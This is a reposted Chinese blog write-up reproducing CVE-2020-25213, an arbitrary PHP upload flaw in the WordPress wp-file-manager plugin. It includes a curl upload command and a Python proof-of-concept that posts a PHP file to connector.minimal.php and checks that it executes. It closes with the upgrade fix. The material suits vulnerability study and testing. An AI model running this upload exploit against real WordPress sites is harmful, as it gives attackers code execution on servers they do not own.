ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CVE-2020-25213 WordPress远程代码执行漏洞复现

2021-07-10 23:34:39  阅读:757  来源: 互联网

标签:file url manager WordPress 代码执行 25213 wp wordpress php


0x01 漏洞概述

WordPress是一套使用PHP语言开发的博客平台,该平台支持在PHP和MySQL的服务器上架设个人博客网站。而WordPress的插件(wp-file-manager)6.9版本之前存在安全漏洞,该漏洞允许远程攻击者上传和执行任意PHP代码。攻击者可利用该漏洞执行任意代码。

 

0x02 影响版本

WordPress 文件管理器(wp-file-manager)插件 6.0-6.8 版本

 

0x03 环境搭建

  • phpstudy2018
  • WordPress

  https://wordpress.org/download/

  • wp-file-manager 6.0版本

  https://wordpress.org/plugins/wp-file-manager/advanced/

  

 

①将WordPress启动安装程序

  • 安装教程参考链接:

  https://codex.wordpress.org/zh-cn:%E5%AE%89%E8%A3%85_WordPress

 

  • 搭建成功后的WordPress首页

     

 

  • 进入管理员后台安装wp-file-manager 6.0插件

  http://YourIP/wordpress/wp-admin/plugin-install.php

  

 

  将插件安装完如下:

  http://YourIP/wordpress/wp-admin/plugins.php

  

 

 

 

0x04 漏洞复现

  • 浏览器访问

  http://YourIP/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

  出现下面到的error说明漏洞存在

  

 

 

  • 使用curl命令将本地文件用POST方法上传

  curl -F cmd=upload -F target=l1_ -F upload[]=@test.php -XPOST "http://YourIP/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

  

  test.php文件内容:

  

 

 

  • 访问上传的文件查看

  上传路径:
  http://YourIP/wordpress/wp-content/plugins/wp-file-manager/lib/files/test.php

  

 

0x05 漏洞POC

# -*- coding:utf-8 -*-
import requests
import json

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                  "Chrome/91.0.4472.124 Safari/537.36 "
}

url_tail = "/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"


def Check_1(url):
    url_2 = url + url_tail
    res1 = requests.get(url=url_2, headers=headers)
    text1 = res1.text
    text2 = json.loads(text1)
    key = json.dumps(text2)  # 将text2转换为字符串
    print(text2)
    key1 = "errUnknownCmd"
    if key1 in key:
        print("疑似漏洞存在")
        Next = input("是否进一步验证: Y or N :")
        if Next == "Y":
            Check_2(url)
    else:
        print("漏洞不存在")


def Check_2(url):
    data = {
        'cmd': 'upload',
        'target': 'l1_',
    }
    files = {
        'upload[0]': open('phpinfo.php', 'rb'),
    }
    url_3 = url + url_tail
    res = requests.post(url=url_3, headers=headers, data=data, files=files, verify=False)
    if res.status_code == requests.codes.ok:
        # print("上传成功!")
        d = res.json()
        p = d.get('added', [])[0].get('url')
        Finally_url = f'{url}{p}'
        res2 = requests.get(url=Finally_url, headers=headers)
        key2 = "PHP Version"
        if key2 in res2.text:
            print("CVE-2020-25213漏洞存在!")
        else:
            print("漏洞不存在!")


def main():
    url_1 = input("输入测试的URL:")
    Check_1(url_1)


if __name__ == '__main__':
    main()

刚开始学习写POC,有哪里有问题的欢迎大佬们指出_(:з」∠)_

 

0x06 修复建议

更新wp-file-manager插件至6.9或更高版本

标签:file,url,manager,WordPress,代码执行,25213,wp,wordpress,php
来源: https://www.cnblogs.com/Salvere-Safe/p/14995249.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有